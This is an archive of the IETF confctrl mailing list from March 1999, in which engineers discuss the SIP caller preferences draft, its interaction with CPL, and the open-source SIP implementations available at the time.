	Sat, 20 Mar 1999 12:39:26 -0500 (EST)
Message-ID: <36F3DD4D.9D8CC126@cs.columbia.edu>
Date: Sat, 20 Mar 1999 12:39:25 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: John Hearty <John.H.Hearty@mci.com>
CC: Confctrl <confctrl@ISI.EDU>
Subject: Re: Caller preference draft comments
References: <19990319161453.CSVK20027@localHost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

John Hearty wrote:
> 
>  Nice work on this draft.  A few comments:
> 
>  I think the header/parameter approach to express the type of termination
> the caller wants can work well.  I agree with Jonathan that interacting
> CPL scripts between the caller and callee can get extremely complex.
> With a finite set of preference parameters to consider, it should be
> possible to update the CPL draft to allow these to be considered in
> callee CPL scripts.  That seems to be the best place to direct the
> interoperability efforts, since CPL can have more flexibility to deal
> with it.

In general, "caller proposes, callee disposes", so adding this to the
CPL makes sense. It does have the disadvantage that this is
SIP-specific. Also, expressing this in CPL may not be that easy,
particularly since the value of many such parameters is undefined for
most calls.

> 
>  I had a suggested addition to the parameters on page 10.  It may be
> worthwhile to add "numeric" to the service-tag to cover numeric only
> pagers. 

I've added this as a 'text/numeric' type. Somebody needs to go register
this with IANA...

>  I also noticed at the beginning of that section cp-params
> was missing the description-param option. 

Added.

>  Looking at the entire param
> list, there is alot of specific information in it.  Maybey we need
> a way to make it extensible for those specifics not yet dreamed up.

You can always add more values or parameters as needed.

> 
>  I think some clarification is needed in section 6.4 for the cancel-feature.
> I assume this means AFTER the first 200 OK, i.e. after the first 200 OK,
> send a CANCEL for any other 200 OKs received.

Tried to rewrite. Note that the CANCEL is sent immediately after the
first 200 shows up, preventing (usually) the arrival of any additional
200s.

> 
> John Hearty
> MCI Worldcom
> Global Network Evolution
> (972)729-7976

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Mar 22 13:35:56 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA21074
	for confctrl-outgoing; Mon, 22 Mar 1999 13:35:56 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA21069
	for <confctrl@zephyr.isi.edu>; Mon, 22 Mar 1999 13:35:50 -0800 (PST)
Received: from conrail.cs.columbia.edu (conrail.cs.columbia.edu [128.59.19.147])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA27914
	for <confctrl@ISI.EDU>; Mon, 22 Mar 1999 13:35:45 -0800 (PST)
Received: (from lennox@localhost)
	by conrail.cs.columbia.edu (8.9.2/8.9.1) id QAA48125;
	Mon, 22 Mar 1999 16:35:28 -0500 (EST)
	(envelope-from lennox)
Date: Mon, 22 Mar 1999 16:35:28 -0500 (EST)
Message-Id: <199903222135.QAA48125@conrail.cs.columbia.edu>
From: Jonathan Lennox <lennox@conrail.cs.columbia.edu>
To: John Hearty <John.H.Hearty@mci.com>
Cc: Confctrl <confctrl@ISI.EDU>, IPTel <iptel@lists.research.bell-labs.com>
Subject: Caller preference draft and CPL
In-Reply-To: <19990319161453.CSVK20027@localHost>
References: <19990319161453.CSVK20027@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Fri, March 19 1999, "John Hearty" wrote to "Confctrl" saying:

>  I think the header/parameter approach to express the type of termination
> the caller wants can work well.  I agree with Jonathan that interacting
> CPL scripts between the caller and callee can get extremely complex.
> With a finite set of preference parameters to consider, it should be
> possible to update the CPL draft to allow these to be considered in
> callee CPL scripts.  That seems to be the best place to direct the
> interoperability efforts, since CPL can have more flexibility to deal
> with it.

Yes, I'm planning on considering this for the next draft of the CPL, though
I'm not quite sure yet how the parameters would work -- as Henning points
out, there's a complicated issue about what happens if these parameters
aren't specified.

One possibility (which has the virtue of simplicity) is to have a "location
filter" which simply filters the currently chosen location set according to
the caller's preferences.  This might even, potentially, be
parameterizable -- the filter could enable or disable certain preference
types.  The syntax for this is unclear, though.

Discussion about this issue is welcome, though it should probably be
restricted to the iptel mailing list
<mailto:iptel@lists.research.bell-labs.com>.  This message has been Cc'd
there.

-- 
Jonathan Lennox
lennox@cs.columbia.edu

From confctrl-owner  Mon Mar 22 14:07:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA22407
	for confctrl-outgoing; Mon, 22 Mar 1999 14:07:43 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA22402
	for <confctrl@zephyr.isi.edu>; Mon, 22 Mar 1999 14:07:41 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA01610
	for <confctrl@isi.edu>; Mon, 22 Mar 1999 14:07:40 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA01088;
	Mon, 22 Mar 1999 17:07:06 -0500 (EST)
Message-Id: <199903222207.RAA01088@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-caller-00.txt
Date: Mon, 22 Mar 1999 17:07:05 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SIP Caller Preferences and Callee Capabilities
	Author(s)	: H. Schulzrinne, J. Rosenberg
	Filename	: draft-ietf-mmusic-sip-caller-00.txt
	Pages		: 16
	Date		: 19-Mar-99
	
   This document describes a set of extensions to SIP which allow a
   caller to express preferences about request handling in servers. It
   also extends the SIP Contact header to allow users to describe their
   communications capabilities and characteristics.


A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-caller-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-caller-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-caller-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990319183204.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-caller-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-caller-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990319183204.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Mar 25 07:23:01 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA19799
	for confctrl-outgoing; Thu, 25 Mar 1999 07:23:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA19794
	for <confctrl@zephyr.isi.edu>; Thu, 25 Mar 1999 07:22:59 -0800 (PST)
Received: from rider.cftnet.com (rider.cftnet.com [163.125.1.17])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24491
	for <confctrl@isi.edu>; Thu, 25 Mar 1999 07:22:57 -0800 (PST)
Received: from localhost (horton@localhost) by rider.cftnet.com (8.8.6/8.6.4) with ESMTP id KAA24275 for <confctrl@isi.edu>; Thu, 25 Mar 1999 10:28:00 -0500 (EST)
X-Authentication-Warning: rider.cftnet.com: horton owned process doing -bs
Date: Thu, 25 Mar 1999 10:28:00 -0500 (EST)
From: James Horton <horton@cft.net>
X-Sender: horton@rider.cftnet.com
To: confctrl@ISI.EDU
Subject: SIP code
Message-ID: <Pine.GSU.4.05.9903251026040.24172-100000@rider.cftnet.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Are there any open-source implementations available yet?

Is there a coordination effort for open-source for a SIP
implementation? Supported hardware? Hardware Vendor
support, for specific DSPs.............?


Any pointers are appreciated.



James



**> Creative Friendly Technologies              horton@cft.net 813 871 1238 *
* www.cftnet.com/firewall-proxy.html          www.cftnet.com/streaming.html *
*****************************************************************************
* III John 1:4                                   http://www.kwbc.cftnet.com *
*     I have no greater joy than to hear that my children walk in truth.  <**


From confctrl-owner  Thu Mar 25 13:12:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA05943
	for confctrl-outgoing; Thu, 25 Mar 1999 13:12:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA05937
	for <confctrl@zephyr.isi.edu>; Thu, 25 Mar 1999 13:12:12 -0800 (PST)
Received: from arclight.div8.net (root@kit-on1-48.netcom.ca [207.181.77.48])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA19518
	for <confctrl@ISI.EDU>; Thu, 25 Mar 1999 13:12:08 -0800 (PST)
Received: from billy (vektor@billy.div8.net [10.0.0.22])
	by arclight.div8.net (8.8.7/8.8.7) with ESMTP id QAA02048;
	Thu, 25 Mar 1999 16:12:16 -0500
Date: Thu, 25 Mar 1999 16:08:25 -0500 (EST)
From: Billy Biggs <vektor@div8.net>
X-Sender: vektor@billy.cybertron.org
To: James Horton <horton@cft.net>
cc: confctrl@ISI.EDU
Subject: Re: SIP code
In-Reply-To: <Pine.GSU.4.05.9903251026040.24172-100000@rider.cftnet.com>
Message-ID: <Pine.LNX.4.05.9903251604490.10456-100000@billy.cybertron.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Are there any open-source implementations available yet?
> 
> Is there a coordination effort for open-source for a SIP
> implementation? Supported hardware? Hardware Vendor
> support, for specific DSPs.............?

I will be attempting to start an open-source implementation of SIP
starting mid-April.  I'm still investigating related protocols and
choosing a software architecture.  I intend to release the code under a
BSD-style license.

I don't know of any other implementations, or attempted implementations,
or afterthoughts about implementations, that are or would be truly free.

However, I didn't look _too_ hard.

--
Billy Biggs
bbiggs@div8.net


From confctrl-owner  Thu Mar 25 13:37:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA06882
	for confctrl-outgoing; Thu, 25 Mar 1999 13:37:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA06876
	for <confctrl@zephyr.isi.edu>; Thu, 25 Mar 1999 13:37:48 -0800 (PST)
Received: from aardvark.aciri.org ([192.150.187.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA22214
	for <confctrl@ISI.EDU>; Thu, 25 Mar 1999 13:37:44 -0800 (PST)
Received: from aardvark.aciri.org (localhost [127.0.0.1])
	by aardvark.aciri.org (8.9.2/8.9.2) with ESMTP id NAA33629;
	Thu, 25 Mar 1999 13:37:30 -0800 (PST)
	(envelope-from mjh@aardvark.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Billy Biggs <vektor@div8.net>
cc: James Horton <horton@cft.net>, confctrl@ISI.EDU
Subject: Re: SIP code 
In-reply-to: Your message of "Thu, 25 Mar 1999 16:08:25 EST."
             <Pine.LNX.4.05.9903251604490.10456-100000@billy.cybertron.org> 
Date: Thu, 25 Mar 1999 13:37:30 -0800
Message-ID: <33627.922397850@aardvark.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>> Are there any open-source implementations available yet?

There's an implementation in sdr.  Version 2.6.0 (an experimental
release) is available from
http://www-mice.cs.ucl.ac.uk/multimedia/software/sdr/

However, the sdr implementation is not completely conformant with the
SIP RFC at this stage, and is a fairly minimal implementation.

Cheers,
	Mark

From confctrl-owner  Thu Mar 25 15:35:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA12078
	for confctrl-outgoing; Thu, 25 Mar 1999 15:35:23 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA12073
	for <confctrl@zephyr.isi.edu>; Thu, 25 Mar 1999 15:35:21 -0800 (PST)
Received: from rider.cftnet.com (rider.cftnet.com [163.125.1.17])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA02762
	for <confctrl@ISI.EDU>; Thu, 25 Mar 1999 15:35:19 -0800 (PST)
Received: from localhost (horton@localhost) by rider.cftnet.com (8.8.6/8.6.4) with ESMTP id SAA25064; Thu, 25 Mar 1999 18:39:42 -0500 (EST)
X-Authentication-Warning: rider.cftnet.com: horton owned process doing -bs
Date: Thu, 25 Mar 1999 18:39:42 -0500 (EST)
From: James Horton <horton@cft.net>
X-Sender: horton@rider.cftnet.com
To: Mark Handley <mjh@aciri.org>
cc: Billy Biggs <vektor@div8.net>, confctrl@ISI.EDU
Subject: Re: SIP code 
In-Reply-To: <33627.922397850@aardvark.aciri.org>
Message-ID: <Pine.GSU.4.05.9903251838011.24172-100000@rider.cftnet.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Thanks guys,

Additionally, check out:


http://www.fokus.gmd.de/research/cc/glone/products/mint/

Some of this code may be useful.

PS, I working on a release for 'RT-Linux', as I'm tinkering with
some hardware device in addition to running SIP code on Intel
main processors...........


James




On Thu, 25 Mar
1999, Mark Handley wrote:

> 
> >> Are there any open-source implementations available yet?
> 
> There's an implementation in sdr.  Version 2.6.0 (an experimental
> release) is available from
> http://www-mice.cs.ucl.ac.uk/multimedia/software/sdr/
> 
> However, the sdr implementation is not completely conformant with the
> SIP RFC at this stage, and is a fairly minimal implementation.
> 
> Cheers,
> 	Mark
> 

**> Creative Friendly Technologies              horton@cft.net 813 871 1238 *
* www.cftnet.com/firewall-proxy.html          www.cftnet.com/streaming.html *
*****************************************************************************
* III John 1:4                                   http://www.kwbc.cftnet.com *
*     I have no greater joy than to hear that my children walk in truth.  <**


From confctrl-owner  Thu Mar 25 17:50:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA17628
	for confctrl-outgoing; Thu, 25 Mar 1999 17:50:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA17621
	for <confctrl@zephyr.isi.edu>; Thu, 25 Mar 1999 17:50:10 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA14452
	for <confctrl@ISI.EDU>; Thu, 25 Mar 1999 17:50:02 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id UAA26947;
	Thu, 25 Mar 1999 20:50:01 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id UAA26417;
	Thu, 25 Mar 1999 20:49:51 -0500 (EST)
Message-ID: <36FAE7BF.FB20F975@cs.columbia.edu>
Date: Thu, 25 Mar 1999 20:49:51 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Billy Biggs <vektor@div8.net>
CC: James Horton <horton@cft.net>, confctrl@ISI.EDU
Subject: Re: SIP code
References: <Pine.LNX.4.05.9903251604490.10456-100000@billy.cybertron.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Billy Biggs wrote:
> 
> > Are there any open-source implementations available yet?
> >
> > Is there a coordination effort for open-source for a SIP
> > implementation? Supported hardware? Hardware Vendor
> > support, for specific DSPs.............?
> 
> I will be attempting to start an open-source implementation of SIP
> starting mid-April.  I'm still investigating related protocols and
> choosing a software architecture.  I intend to release the code under a
> BSD-style license.
> 
> I don't know of any other implementations, or attempted implementations,
> or afterthoughts about implementations, that are or would be truly free.

sipd will be available (after the oven from the bake-off has cooled off)
in source form for universities and non-profits for free. Possible other
arrangements are pending.

> 
> However, I didn't look _too_ hard.
> 
> --
> Billy Biggs
> bbiggs@div8.net

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Mar 26 04:03:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA07516
	for confctrl-outgoing; Fri, 26 Mar 1999 04:03:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA07511
	for <confctrl@zephyr.isi.edu>; Fri, 26 Mar 1999 04:03:20 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id EAA13515
	for <confctrl@ISI.EDU>; Fri, 26 Mar 1999 04:03:18 -0800 (PST)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.15600-0@bells.cs.ucl.ac.uk>; Fri, 26 Mar 1999 12:02:35 +0000
X-Mailer: exmh version 2.0.2
To: James Horton <horton@cft.net>
cc: confctrl@ISI.EDU
Subject: Re: SIP code
In-reply-to: Your message of "Thu, 25 Mar 1999 18:39:42 EST." <Pine.GSU.4.05.9903251838011.24172-100000@rider.cftnet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 26 Mar 1999 12:02:34 +0000
Message-ID: <9689.922449754@cs.ucl.ac.uk>
From: Nadia KAUSAR <N.Kausar@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>There's an implementation in sdr.  Version 2.6.0 (an experimental
> release) is available from
> http://www-mice.cs.ucl.ac.uk/multimedia/software/sdr/
> 

the problem I found with the above SIP code is if I just wanted to separate 
the SIP functionalities from sdr, it was real hard work.  for example I needed 
some of the very basic SIP functions to set up a connection with a H.323v1 
client (Lecent's Elemedia stack), and it wasnt very easy to separate SIP from 
sdr.  Therefore, I had to hack up some basic SIP functionalities for 
interoperating H.225  and H.245.  however, it would be nice to compare other 
people who have created some basic SIP implementations to see my application 
would talk to theirs.

cheers
nadia


From confctrl-owner  Fri Mar 26 09:24:44 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA17556
	for confctrl-outgoing; Fri, 26 Mar 1999 09:24:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17551
	for <confctrl@zephyr.isi.edu>; Fri, 26 Mar 1999 09:24:41 -0800 (PST)
Received: from rider.cftnet.com (rider.cftnet.com [163.125.1.17])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA04445
	for <confctrl@ISI.EDU>; Fri, 26 Mar 1999 09:24:33 -0800 (PST)
Received: from localhost (horton@localhost) by rider.cftnet.com (8.8.6/8.6.4) with ESMTP id MAA26503; Fri, 26 Mar 1999 12:29:17 -0500 (EST)
X-Authentication-Warning: rider.cftnet.com: horton owned process doing -bs
Date: Fri, 26 Mar 1999 12:29:16 -0500 (EST)
From: James Horton <horton@cft.net>
X-Sender: horton@rider.cftnet.com
To: Henning Schulzrinne <hgs@cs.columbia.edu>
cc: Billy Biggs <vektor@div8.net>, confctrl@ISI.EDU
Subject: Re: SIP code
In-Reply-To: <36FAE7BF.FB20F975@cs.columbia.edu>
Message-ID: <Pine.GSU.4.05.9903261228230.26407-100000@rider.cftnet.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

cool,

keep me on the list.

we'll run linux or bsd........



James


On Thu, 25 Mar 1999, Henning Schulzrinne wrote:

> Billy Biggs wrote:
> > 
> > > Are there any open-source implementations available yet?
> > >
> > > Is there a coordination effort for open-source for a SIP
> > > implementation? Supported hardware? Hardware Vendor
> > > support, for specific DSPs.............?
> > 
> > I will be attempting to start an open-source implementation of SIP
> > starting mid-April.  I'm still investigating related protocols and
> > choosing a software architecture.  I intend to release the code under a
> > BSD-style license.
> > 
> > I don't know of any other implementations, or attempted implementations,
> > or afterthoughts about implementations, that are or would be truly free.
> 
> sipd will be available (after the oven from the bake-off has cooled off)
> in source form for universities and non-profits for free. Possible other
> arrangements are pending.
> 
> > 
> > However, I didn't look _too_ hard.
> > 
> > --
> > Billy Biggs
> > bbiggs@div8.net
> 
> -- 
> Henning Schulzrinne   http://www.cs.columbia.edu/~hgs
> 

**> Creative Friendly Technologies              horton@cft.net 813 871 1238 *
* www.cftnet.com/firewall-proxy.html          www.cftnet.com/streaming.html *
*****************************************************************************
* III John 1:4                                   http://www.kwbc.cftnet.com *
*     I have no greater joy than to hear that my children walk in truth.  <**


From confctrl-owner  Fri Mar 26 13:39:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA28690
	for confctrl-outgoing; Fri, 26 Mar 1999 13:39:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA28685
	for <confctrl@zephyr.isi.edu>; Fri, 26 Mar 1999 13:39:14 -0800 (PST)
Received: from eagle.aud.alcatel.com (eagle.aud.alcatel.com [128.251.96.217])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA29079
	for <confctrl@ISI.EDU>; Fri, 26 Mar 1999 13:39:11 -0800 (PST)
Received: from aud.alcatel.com by eagle.aud.alcatel.com (SMI-8.6/SMI-SVR4)
	id PAA19867; Fri, 26 Mar 1999 15:39:06 -0600
Message-ID: <36FBFF1A.50A2ED37@aud.alcatel.com>
Date: Fri, 26 Mar 1999 15:41:46 -0600
From: James Hua <james.hua@aud.alcatel.com>
Organization: Alcatel Network Systems
X-Mailer: Mozilla 4.05 [en]C-ANS 1.02  (WinNT; I)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Sample SIP UAC/UAS
References: <Pine.GSU.4.05.9903251026040.24172-100000@rider.cftnet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Is there sample SIP UAS/UAC code anywhere?

James.

From confctrl-owner  Tue Mar 30 17:52:16 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA13439
	for confctrl-outgoing; Tue, 30 Mar 1999 17:52:16 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA13434
	for <confctrl@zephyr.isi.edu>; Tue, 30 Mar 1999 17:52:13 -0800 (PST)
Received: from smtprich.nortel.com (smtprich.nortel.com [192.135.215.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA27996
	for <confctrl@isi.edu>; Tue, 30 Mar 1999 17:52:11 -0800 (PST)
Received: from zrtpd004.us.nortel.com (actually nrtpd004) 
          by smtprich.nortel.com; Tue, 30 Mar 1999 13:19:06 -0600
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) 
          id <H8RS1K84>; Tue, 30 Mar 1999 14:13:24 -0500
Message-ID: <1142CC7C1392D111A64E0000F8C9918002204A1C@zrtpd001.us.nortel.com>
From: "Christopher Eckert" <ceckert@nortelnetworks.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Date: Tue, 30 Mar 1999 14:13:06 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
X-Orig: <ceckert@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

To Whom It May Concern:

Please consider writing a white paper or an appendix to the SIP IETF draft
document outlining 
the features / functions / benefits that SIP brings to the managed IP
network that are not
available in the current Megaco proposals for MGCP evolution and
standardization.

Having this material available will help the industry understand, and
properly react to, these
two concurrent initiatives that, at a high level, appear to be solving the
same problem.

Regards,
Chris Eckert

Chris Eckert
Access Product Advisor
Nortel Networks, Inc.
Phone:	(919) 991 - 8303 
	ESN 351 - 8303
Email: 	ceckert@nortelnetworks.com










From confctrl-owner  Wed Mar 31 03:54:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA02180
	for confctrl-outgoing; Wed, 31 Mar 1999 03:54:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA02175
	for <confctrl@zephyr.isi.edu>; Wed, 31 Mar 1999 03:54:04 -0800 (PST)
Received: from pm03sm.pmm.cw.net (pm03sm.pmm.cw.net [208.159.98.152])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA20282
	for <confctrl@ISI.EDU>; Wed, 31 Mar 1999 03:54:03 -0800 (PST)
Received: from CONVERSION-DAEMON by PM03SM.PMM.CW.NET (PMDF V5.2-29 #35317)
 id <0F9G00B01JP8QV@PM03SM.PMM.CW.NET> for confctrl@ISI.EDU; Wed,
 31 Mar 1999 11:53:32 +0000 (GMT)
Received: from cs.columbia.edu
 (usr23-dialup40.mix1.WillowSprings.cw.net [166.62.39.168])
 by PM03SM.PMM.CW.NET (PMDF V5.2-29 #35317)
 with ESMTP id <0F9G00EPFJOZVN@PM03SM.PMM.CW.NET>; Wed,
 31 Mar 1999 11:53:32 +0000 (GMT)
Date: Wed, 31 Mar 1999 06:56:33 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Subject: Re:
To: Christopher Eckert <ceckert@nortelnetworks.com>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Message-id: <37020D71.44E77706@cs.columbia.edu>
MIME-version: 1.0
X-Mailer: Mozilla 4.5 [en] (Win95; I)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
X-Accept-Language: en
References: <1142CC7C1392D111A64E0000F8C9918002204A1C@zrtpd001.us.nortel.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Since Megaco hasn't published a standard yet, it is a bit premature for
an applicability statement. However, the FAQ at
http://www.cs.columbia.edu/~hgs/sip addresses this and other questions.

Christopher Eckert wrote:
> 
> To Whom It May Concern:
> 
> Please consider writing a white paper or an appendix to the SIP IETF draft
> document outlining
> the features / functions / benefits that SIP brings to the managed IP
> network that are not
> available in the current Megaco proposals for MGCP evolution and
> standardization.
> 
> Having this material available will help the industry understand, and
> properly react to, these
> two concurrent initiatives that, at a high level, appear to be solving the
> same problem.
> 
> Regards,
> Chris Eckert
> 
> Chris Eckert
> Access Product Advisor
> Nortel Networks, Inc.
> Phone:  (919) 991 - 8303
>         ESN 351 - 8303
> Email:  ceckert@nortelnetworks.com

From confctrl-owner  Wed Mar 31 04:28:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA03287
	for confctrl-outgoing; Wed, 31 Mar 1999 04:28:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA03282
	for <confctrl@zephyr.isi.edu>; Wed, 31 Mar 1999 04:28:10 -0800 (PST)
Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA21287
